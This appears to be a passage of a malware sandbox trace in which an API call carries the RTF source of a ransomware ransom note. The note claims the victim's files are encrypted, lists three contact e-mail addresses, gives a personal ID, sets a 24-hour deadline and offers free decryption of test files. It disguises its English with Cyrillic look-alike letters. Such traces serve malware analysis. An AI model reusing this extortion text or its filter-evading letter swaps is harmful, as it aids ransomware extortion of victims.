billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0042.355] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 